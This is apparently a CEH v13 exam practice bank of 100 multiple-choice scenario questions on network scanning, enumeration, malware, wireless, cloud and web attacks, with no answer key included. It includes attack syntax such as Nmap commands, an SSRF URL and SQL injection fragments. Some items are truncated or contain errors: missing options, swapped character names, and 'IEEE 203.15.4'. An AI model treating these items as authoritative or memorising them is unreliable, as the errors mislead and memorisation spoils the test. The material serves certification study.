CEH v13 Theory Exam

Questions & Answers

Q1. Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network. Which of the following host discovery techniques must he use to perform the given task?

1. ACK flag probe scan
2. UDP scan
3. ARP ping scan
4. TCP Maimon scan

Q2. Juliet, a security researcher in an organization, was tasked with checking for the authenticity of images to be used in the organization's magazines. She used these images as a search query and tracked the original source and details of the images, which included photographs, profile pictures, and memes. Which of the following footprinting techniques did Rachel use to finish her task?

1. Reverse image search
2. Google advanced search
3. Advanced image search
4. Meta search engines

Q3. Susan, a software developer, wants her web API to update other applications with the latest information, For this purpose, she uses a user-defined HTTP callback or push APIs that are raised based on trigger events; when invoked, this feature supplies data to other applications so that users can instantly receive real-time information. Which of the following techniques is employed by Susan?

1. SOAP API
2. Webhooks
3. Web shells
4. REST API

Q4. Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website. What is the attack performed by Bobby in the above scenario?

1. aLTEr attack
2. KRACK attack
3. Wardriving
4. Jamming signal attack

Q5. A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple connections and keeps waiting for the requests to complete. Which attack is being described here?

1. Desynchronization
2. Slowloris attack
3. Session splicing
4. Phlashing

Q6. What is the fastest way to perform content enumeration on a given web server by using the Gobuster tool?

1. Performing content enumeration using a wordlist
2. Performing content enumeration using the bruteforce mode and 10 threads
3. Performing content enumeration using the bruteforce mode and random file extensions
4. Skipping SSL certificate verification

Q7. Emily, an extrovert obsessed with social media, posts a large amount of private information, photographs, and location tags of recently visited places. Realizing this, James, a professional hacker, targets Emily and her acquaintances, conducts a location search to detect their geolocation by using an automated tool, and gathers information to perform other sophisticated attacks. What is the tool employed by James in the above scenario?

1. ophcrack
2. Hootsuite
3. Visual Route
4. HULK

Q8. What is the port to block first in case you are suspicious that an IoT device has been compromised?

1. 443
2. 48101
3. 22
4. 80

Q9. Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization. Which of the following cloud attacks did Alice perform in the above scenario?

1. Cloud cryptojacking
2. Man-in-the-cloud (MITC) attack
3. Cloudborne attack
4. Cloud hopper attack

Q10. Mary, a penetration tester, has found password hashes in a client system she managed to breach. She needs to use these passwords to continue with the test, but she does not have time to find the passwords that correspond to these hashes. Which type of attack can she implement in order to continue?

1. Internal monologue attack
2. Pass the hash
3. Pass the ticket
4. LLMNR/NBT-NS poisoning

Q11. John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using PGP. What should John do to communicate correctly using this type of encryption?

1. Use Marie's public key to encrypt the message.
2. Use his own private key to encrypt the message.
3. Use Marie's private key to encrypt the message.
4. Use his own public key to encrypt the message.

Q12. Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB, which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mib or by entering the DNS library name and Lseries.mib. He is currently retrieving information from an MIB that contains object types for workstations and server services. Which of the following types of MIB is accessed by Garry in the above scenario?

1. LNMIB2.MIB
2. DHCP.MIB
3. MIB_II.MIB

4. WINS.MIB

Q13. This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?

1. IDEA
2. HMAC encryption algorithm
3. Twofish encryption algorithm
4. Blowfish encryption algorithm

Q14. What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not possible?

1. GPU
2. TPM
3. UEFI
4. CPU

Q15. Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a DoS attack, and as a result, legitimate employees were unable to access the client's network. Which of the following attacks did Abel perform in the above scenario?

1. STP attack
2. VLAN hopping
3. DHCP starvation
4. Rogue DHCP server attack

Q16. Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs. What type of malware did the attacker use to bypass the company's application whitelisting?

1. File-less malware
2. Zero-day malware
3. Logic bomb malware

4. Phishing malware

Q17. Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are encountered. John decided to perform a TCP SYN ping scan on the target network. Which of the following Nmap commands must John use to perform the TCP SYN ping scan?

1. nmap -sn -PS < target IP address >
2. nmap -sn -PA < target IP address >
3. nmap -sn -PP < target IP address >
4. nmap -sn -PO < target IP address >

Q18. Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine. What is the social engineering technique Steve employed in the above scenario?

1. Elicitation
2. Quid pro quo
3. Phishing
4. Diversion theft

Q19. Taylor, a security professional, uses a tool to monitor her company's website, analyze the website's traffic, and track the geographical location of the users visiting the company's website. Which of the following tools did Taylor employ in the above scenario?

1. Web-Stat
2. WebSite-Watcher
3. Webroot
4. WAFWOOF

Q20. Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a system, he finds a list of hashed passwords. Which of the following tools would not be useful for cracking the hashed passwords?

1. John the Ripper
2. THC-Hydra
3. Hashcat

Q21. Alice needs to send a confidential document to her coworker, Bryan. Their company has pub infrastructure set up. Therefore, Alice both encrypts the message and digitally signs it. Alice uses encrypt the message, and Bryan uses to confirm the digital signature.

1. Alice's public key; Alice's public key
2. Bryan's public key; Bryan's public key
3. Bryan's public key; Alice's public key
4. Bryan's private key; Alice's public key

Q22. Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. Ha decides to setup a SPAN port and capture all traffic to the datacenter. He immediately discovers unencrypted traffic in port UDP 161. What protocol is this port using and how can he secure that traffic?

1. SNMP and he should change it to SNMP V2, which is encrypted
2. SNMP and he should change it to SNMP V3
3. It is not necessary to perform any actions, as SNMP is not carrying important information.
4. RPC and the best practice is to disable RPC completely

Q23. John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, departmental details, and server names to launch further attacks on the target organization. What is the tool employed by John to gather information from the LDAP service?

1. ike-scan
2. JXplorer
3. Zabasearch
4. EarthExplorer

Q24. Ricardo has discovered the username for an application in his target's environment. As he has a limited amount of time, he decides to attempt to use a list of common passwords he found on the Internet. He compiles them into a list and then feeds that list as an argument into his password-cracking application. What type of attack is Ricardo performing?

1. Known plaintext
2. Brute force
3. Dictionary
4. Password spraying

Q25. There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network and find that it is using an old encryption protocol that was designed to mimic wired encryption. What encryption protocol is being used?

1. RADIUS
2. WPA
3. WPA3
4. WEP

Q26. Attacker Lauren has gained the credentials of an organization's internal server system, and she was often logging in during irregular times to monitor the network activities. The organization was skeptical about the login times and appointed security professional Robert to determine the issue. Robert analyzed the compromised device to find incident details such as the type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited. What is the incident handling and response (IH&R) phase, in which Robert has determined these issues?

1. Preparation
2. Incident recording and assignment

Q27. At what stage of the cyber kill chain theory model does data exfiltration occur?

1. Actions on objectives
2. Command and control
3. Weaponization
4. Installation

Q28. Which of the following Metasploit post-exploitation modules can be used to escalate privileges on Windows systems?

1. getuid
2. getsystem
3. autoroute
4. keylogrecorder

Q29. Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nmap to scan open ports and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address. Which of the following Nmap commands helped Jim retrieve the required information?

1. nmap -Pn-sU-p 44818--script enip-info < Target IP >
2. nmap-Pn-sT -p 46824 <Target IP >
3. nmap-Pn-sT -p 102 --script s7-info < Target IP >
4. nmap -Pn-sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >

Q30. What firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

1. Spoof source address scanning
2. Decoy scanning
3. Idle scanning
4. Packet fragmentation scanning

Q31 Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities in the DNS server software and modified the original address of the target website to that of a fake website. What is the technique employed by Steve to gather information for identity theft?

1. Skimming
2. Pharming
3. Pretexting
4. Wardriving

Q32. Lewis, a professional hacker, targeted the lot cameras and devices used by a target venture-capital firm. He used an information-gathering tool to collect information about the lot devices connected to a network, open ports and services, and the attack surface area. Using this tool, he also generated statistical reports on broad usage patterns and trends. This tool helped Lewis continually monitor every reachable server and device on the Internet, further allowing him to exploit these devices in the network. Which of the following tools was employed by Lewis in the above scenario?

1. NeuVector
2. Lacework
3. Wapiti
4. Censys

Q33. Which iOS jailbreaking technique patches the kernel during the device boot so that it becomes jailbroken after each successive reboot?

1. Untethered jailbreaking
2. Semi-tethered Jailbreaking

3. Tethered jailbreaking
4. Semi-untethered Jailbreaking

Q34. Allen, a professional pen tester, was hired by XpertTech Solutions to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. By enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration. Identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

1. < 00 >
2. <03>
3. < 20 >
4. < 1B >

Q35. Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account. What is the attack performed by Boney in the above scenario?

1. Session fixation attack
2. Session donation attack
3. CRIME attack
4. Forbidden attack

Q36. Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intention of gaining access to backend servers, which are protected by a firewall. In this process, he used a URL https://xyz.com/feed.php?url=externalsite.com/feed/to to obtain a remote feed and altered the URL input to the local host to view all the local resources on the target server. What is the type of attack Jason performed in the above scenario?

1. Web cache poisoning attack
2. Server-side request forgery (SSRF) attack
3. Web server misconfiguration
4. Website defacement

Q37. Jude, a pen tester working in Keiltech Ltd., performs sophisticated security testing on his company's network infrastructure to identify security loopholes. In this process, he started to

circumvent the network protection tools and firewalls used in the company. He employed a technique that can create forged TCP sessions by carrying out multiple SYN, ACK, and RST or FIN packets. Further, this process allowed Jude to execute DDoS attacks that can exhaust the network resources. What is the attack technique used by Jude for finding loopholes in the above scenario?

1. Ping-of-death attack
2. Spoofed session flood attack
3. Peer-to-peer attack
4. UDP flood attack

Q38. David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities. Which phase of the vulnerability-management life cycle is David currently in?

1. Remediation
2. Risk assessment
3. Vulnerability scan
4. Verification

Q39. Heather's company has decided to use a new customer relationship management tool. After performing the appropriate research, they decided to purchase a subscription to a cloud-hosted solution. The only administrative task that Heather will need to perform is the management of user accounts. The provider will take care of the hardware, operating system, and software administration including patching and monitoring. Which of the following is this type of solution?

1. SaaS
2. CaaS
3. PaaS
4. laaS

Q40. What are common files on a web server that can be misconfigured and provide useful information for a hacker such as verbose error messages?

1. administration.config
2. httpd.conf
3. php.ini
4. idq.dll

Q41. During the enumeration phase, Lawrence performs banner grabbing to obtain information such as OS details and versions of services running. The service that he enumerated runs directly on TCP port 445. Which of the following services is enumerated by Lawrence in this scenario?

1. Network File System (NFS)
2. Telnet
3. Server Message Block (SMB)
4. Remote procedure call (RPC)

Q42. Which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

1. Bluejacking
2. Bluebugging
3. Bluesmacking
4. Bluesnarfing

Q43. Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack. What is the type of vulnerability assessment performed by Johnson in the above scenario?

1. Host-based assessment
2. Distributed assessment
3. Application assessment
4. Wireless network assessment

Q44. John, a professional hacker, decided to use DNS to perform data exfiltration on a target network. In this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique, John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server. What is the technique employed by John to bypass the firewall?

1. DNS tunneling method
2. DNS cache snooping
3. DNSSEC zone walking
4. DNS enumeration

Q45. Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems are exposed to. What type of hacker is Nicolas?

1. Red hat
2. White hat
3. Black hat
4. Gray hat

Q46. In the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?

1. 4.0-6.0
2. 3.9-6.9
3. 4.0-6.9
4. 3.0-6.9

Q47. While testing a web application in development, you notice that the web server does not properly ignore the "dot dot slash" (../) character string and instead returns the file listing of a folder higher up in the folder structure of the server. What kind of attack is possible in this scenario?

1. Cross-site scripting
2. Directory traversal
3. Denial of service
4. SQL injection

Q48. In this attack, an adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstalls the key, associated parameters such as the incremental transmit packet number and receive packet number are reset to their initial values. What is this attack called?

1. KRACK
2. Evil twin
3. Wardriving
4. Chop chop attack

Q49 Sophia is a shopping enthusiast who spends significant time searching for trendy outfits online. Clark, an attacker, noticed her activities several times and sent a fake email containing a deceptive page link to her social media page displaying all-new and trendy outfits. In

excitement, Sophia clicked on the malicious link and logged in to that page using her valid credentials. Which of the following tools is employed by Clark to create the spoofed email?

1. Slowloris
2. PLCinject
3. PyLoris
4. Evilginx

Q50. What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne?

1. Vulnerability hunting program
2. Bug bounty program
3. White-hat hacking program
4. Ethical hacking program

Q51. Daniel is a professional hacker who is attempting to perform an SQL injection attack on a target website, www.moviescope.com. During this process, he encountered an IDS that detects SQL injection attempts based on predefined signatures. To evade any comparison statement, he attempted placing characters such as " on '1'='1'" in any basic injection statement such as "or 1=1." Identify the evasion technique used by Daniel in the above scenario.

1. Null byte
2. Char encoding
3. IP fragmentation

Q52. After an audit, the auditors inform you that there is a critical finding that you must tackle immediately. You read the audit report, and the problem is the service running on port 389. Which service is this and how can you tackle the problem?

1. The service is LDAP, and you must change it to 636, which is LDAPS.
2. The service is SMTP, and you must change it to SMIME, which is an encrypted way to send emails.
3. The findings do not require immediate actions and are only suggestions.
4. The service is NTP, and you have to change it from UDP to TCP in order to encrypt it.

Q53 A hacker created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection. Identify the behavior of the adversary in the above scenario.

1. Use of DNS tunneling
2. Use of command-line interface
3. Unspecified proxy activities

4. Data staging

Q54. Which of the following Google advanced search operators helps an attacker in gathering information about websites that are similar to a specified target URL?

1. [site:]
2. [related:]
3. [info:]
4. [inurl:]

Q55. Stella, a professional hacker, performs an attack on web services by exploiting a vulnerability that provides additional routing information in the SOAP header to support asynchronous communication. This further allows the transmission of web-service requests and response messages using different TCP connections. Which of the following attack techniques is used by Stella to compromise the web services?

1. XML injection
2. WS-Address spoofing
3. Web services parsing attacks
4. SOAP Action spoofing

Q56. Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed. What is the port scanning technique used by Sam to discover open ports?

1. ACK flag probe scan
2. TCP Maimon scan
3. IDLE/IPID header scan
4. Xmas scan

Q57. Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks. What is the component of the Docker architecture used by Annie in the above scenario?

1. Docker registries
2. Docker objects
3. Docker client
4. Docker daemon

Q58. An attacker targeted the communication network of an organization and disabled the security controls of NetNTLMVI by modifying the values of LMCompatibilityLevel, NTLMMinClientSec, and RestrictSending NTLMTraffic. He then extracted all the non-network logon tokens from all the active processes to masquerade as a legitimate user to launch further attacks. What is the type of attack performed by Simon?

1. Dictionary attack
2. Combinator attack
3. Internal monologue attack
4. Rainbow table attack

Q59. Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks. What is the tool employed by Gerard in the above scenario?

1. ZANTI
2. Bluto
3. Towelroot
4. Knative

Q60. Kevin, a professional hacker, wants to penetrate CyberTech Inc.'s network. He employed a technique, using which he encoded packets with Unicode characters. The company's IDS cannot recognize the packets, but the target web server can decode them. What is the technique used by Kevin to evade the IDS system?

1. Obfuscating
2. Session splicing
3. Urgency flag
4. Desynchronization

Q61. John is investigating web-application firewall logs and observers that someone is attempting to inject the following:

char buff[10];

buff[10] = 'a';

What type of attack is this?

1. XSS
2. Buffer overflow
3. CSRF
4. SQL injection

Q62. Samuel a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows S5Lv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information. Which of the following attacks can be performed by exploiting the above vulnerability?

1. Padding oracle attack
2. DUHK attack
3. DROWN attack
4. Side-channel attack

Q63. An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber espionage, zero-day attacks, and malware. Which of the following tools must the organization employ to protect its critical infrastructure?

1. Flowmon
2. BalenaCloud
3. IntentFuzzer
4. Robotium

Q64. Eric, a cloud security engineer, implements a technique for securing the cloud resources used by his organization. This technique assumes by default that a user attempting to access the network is not an authentic entity and verifies every incoming connection before allowing access to the network. Using this technique, he also imposed conditions such that employees can access only the resources required for their role. What is the technique employed by Eric to secure cloud resources?

1. Zero trust network
2. Serverless computing
3. Container technology
4. Demilitarized zone

Q65. While performing an Nmap scan against a host, Paola determines the existence of a firewall. In an attempt to determine whether the firewall is stateful or stateless, which of the following options would be best to use?

1. -ST
2. -SA
3. -SX
4. -SF

Q66. John, a professional hacker, performs a network attack on a renowned organization and gains unauthorized access to the target network. He remains in the network without being detected for a long time and obtains sensitive information without sabotaging the organization. Which of the following attack techniques is used by John?

1. Advanced persistent threat
2. Insider threat
3. Spear-phishing sites
4. Diversion theft

Q67. This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-SHA384, and ECDSA using a 384-bit elliptic curve. Which is this wireless security protocol?

1. WPA2-Enterprise
2. WPA2-Personal
3. WPA3-Personal
4. WPA3-Enterprise

Q68. Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL www.bank.com, the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site before. When he examines the website URL closer, he finds that the site is not secure and the web address appears different. What type of attack he is experiencing?

1. DoS attack
2. ARP cache poisoning
3. DNS hijacking
4. DHCP spoofing

Q69. Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links,

images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information. What is the attack technique employed by Jane in the above scenario?

1. Website mirroring
2. Web cache poisoning
3. Website defacement
4. Session hijacking

Q70. Robin, a professional hacker, targeted an organization's network to sniff all the traffic. During this process, Robin plugged in a rogue switch to an unused port in the LAN with a priority lower than any other switch in the network so that he could make it a root bridge that will later allow him to sniff all the traffic in the network. What is the attack performed by Robin in the above scenario?

1. DNS poisoning attack
2. VLAN hopping attack
3. ARP spoofing attack
4. STP attack

Q71. Which of the following commands checks for valid users on an SMTP server?

1. EXPN
2. CHK
3. VRFY
4. RCPT

Q72. Richard, an attacker, aimed to hack IoT devices connected to a target network. In this process, Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the lot network, which repeats the captured signals of the devices. What is the type of attack performed by Richard in the above scenario?

1. Side-channel attack
2. Reconnaissance attack
3. Cryptanalysis attack
4. Replay attack

Q73. An organization is performing a vulnerability assessment for mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests. What is the type of vulnerability assessment solution that James employed in the above scenario?

1. Service-based solutions
2. Tree-based assessment
3. Inference-based assessment
4. Product-based solutions

Q74. An attacker utilizes a Wi-Fi Pineapple to run an access point with a legitimate-looking SSID for a nearby business in order to capture the wireless password. What kind of attack is this?

1. Phishing attack
2. MAC spoofing attack
3. War driving attack
4. Evil-twin attack

Q75. Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT, POST, GET, and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application. What is the type of web-service API mentioned in the above scenario?

1. JSON-RPC
2. SOAP API
3. RESTful API
4. REST API

Q76. Jude, a pen tester, examined a network from a hacker's perspective to identify exploits and vulnerabilities accessible to the outside world by using devices such as firewalls, routers, and servers. In this process, he also estimated the threat of network security attacks and determined the level of security of the corporate network. What is the type of vulnerability assessment that Jude performed on the organization?

1. Host-based assessment
2. External assessment
3. Application assessment
4. Passive assessment

Q77. Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

1. Reconnaissance
2. Scanning
3. Gaining access
4. Maintaining access

Q78. Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates. Which of the following protocols is used by Bella?

1. FTPS
2. FTP
3. HTTPS
4. IP

Q79. George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m. What is the short-range wireless communication technology George employed in the above scenario?

1. MQTT
2. LPWAN
3. Zigbee
4. NB-IoT

Q80. When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's Computer to update the router configuration. What type of an alert is this?

1. False negative
2. True positive
3. True negative
4. False positive

Q81. Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description given for his profile,

and she initiated a conversation with him soon after accepting the request. After a few days, Steve started asking about her company details and eventually gathered all the essential information regarding her company. What is the social engineering technique Steve employed in the above scenario?

1. Honey trap
2. Baiting
3. Diversion theft
4. Piggybacking

Q82. You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?

1. nmap -A --host-timeout 99 -TI
2. nmap -A -Pn
3. nmap -sp -p 65535 -T5
4. nmap -ST -O -TO

Q83. What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?

1. classes.dex
2. APK.info
3. resources.asrc
4. AndroidManifest.xml

Q84. Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into Incalsol's systems. To deliver the malware, he used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that automatically loads Flash and triggers the exploit. What is the technique used by Jack to launch the fileless malware on the target systems?

1. In-memory exploits
2. Script-based injection
3. Legitimate applications
4. Phishing

Q85. Harry, a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using

these techniques, he successfully deployed malware on the target system to establish an outbound connection. What is the APT lifecycle phase that Harry is currently executing?

1. Cleanup
2. Persistence
3. Initial intrusion
4. Preparation

Q86. An organization decided to harden its security against web-application and web-server attacks. John, a security personnel in the organization, employed a security scanner to automate web-application security testing and to guard the organization's web infrastructure against web-application threats. Using that tool, he also wants to detect XSS, directory transversal problems, fault injection, SQL injection, attempts to execute commands, and several other attacks. Which of the following security scanners will help John perform the above task?

1. Syhunt Hybrid
2. Alien Vault® OSSIMTM
3. Saleae Logic Analyzer
4. Cisco ASA

Q87. Mason, a professional hacker, targets an organization and spreads Emotet malware through malicious script. After infecting the victim's device, Mason further used Emotet to spread the infection across local networks and beyond to compromise as many machines as possible. In this process, he used a tool, which is a self-extracting RAR file, to retrieve information related to network resources such as writable share drives. What is the tool employed by Mason in the above scenario?

1. WebBrowserPassView
2. Credential enumerator
3. Outlook scraper
4. Net Pass.exe

Q88. Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app. What is the attack performed on Don in the above scenario?

1. Clickjacking
2. SIM card attack
3. SMS phishing attack
4. Agent Smith attack

Q89. Becky has been hired by a client from Dubai to perform a penetration test against one of their remote offices. Working from her location in Columbus, Ohio, Becky runs her usual reconnaissance scans to obtain basic information about their network. When analyzing the results of her Whois search, Becky notices that the IP was allocated to a location in Le Havre, France. Which regional Internet registry should Becky go to for detailed information?

1. RIPE
2. APNIC
3. LACNIC
4. ARIN

Q90. While browsing his Facebook feed, Matt sees a picture one of his friends posted with the caption, "Learn more about your friends!", as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate, Matt responds to the questions on the post. A few days later, Matt's bank account has been accessed, and the password has been changed. What most likely happened?

1. Matt's computer was infected with a keylogger.
2. Matt inadvertently provided the answers to his security questions when responding to the post.
3. Matt inadvertently provided his password when responding to the post.
4. Matt's bank-account login information was brute forced.

Q91. Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs. Which two SQL injection types would give her the results she is looking for?

1. Out of band and boolean-based
2. Time-based and boolean-based
3. Time-based and union-based
4. Union-based and error-based

Q92. Which of the following protocols can be used to secure an LDAP service against anonymous queries?

1. NTLM
2. RADIUS
3. SSO
4. WPA

Q93. Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API. Which of the following tools is used by Wilson in the above scenario?

1. ZoomInfo
2. Infoga
3. Netcraft
4. Factiva

Q94. Joel, a professional hacker, targeted a company and identified the types of websites frequently visited by its employees. Using this information, he searched for possible loopholes in these websites and injected a malicious script that can redirect users from the web page and download malware onto a victim's machine. Joel waits for the victim to access the infected web application so as to compromise the victim's machine. Which of the following techniques is used by Joel in the above scenario?

1. Clickjacking attack
2. Watering hole attack
3. MarioNet attack
4. DNS rebinding attack

Q95. By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext. Which file do you have to clean to clear the password?

1. .bashrc
2. .xsession-log
3. .profile
4. .bash_history

Q96. Bob, an attacker, has managed to access a target IoT device. He employed an online tool to gather information related to the model of the lot device and the certifications granted to it. Which of the following tools did Bob employ to gather the above information?

1. FCC ID search
2. Google image search
3. EarthExplorer
4. search.com

Q97. Which file is a rich target to discover the structure of a website during web-server footprinting?

1. Robots.txt
2. domain.txt
3. index.html
4. Document root

Q98. Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?

1. Create a disk image of a clean Windows installation
2. Use the built-in Windows Update tool
3. Use a scan tool like Nessus
4. Check MITRE.org for the latest list of CVE findings

Q99. SQL injection (SQLI) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application. Which of the following SQLI types leverages a database server's ability to make DNS requests to pass data to an attacker?

1. Union-based SQLi
2. Out-of-band SQLi
3. In-band SQLi
4. Time-based blind SQLi

Q100. Mike, a security engineer, was recently hired by BigFox Ltd. The company recently experienced disastrous DoS attacks. The management had instructed Mike to build defensive strategies for the company's IT infrastructure to thwart DoS/DDoS attacks. Mike deployed some countermeasures to handle jamming and scrambling attacks. What is the countermeasure Mike applied to defend against jamming and scrambling attacks?

1. Disable TCP SYN cookie protection
2. Allow the transmission of all types of addressed packets at the ISP level
3. Implement cognitive radios in the physical layer
4. Allow the usage of functions such as gets and strcpy

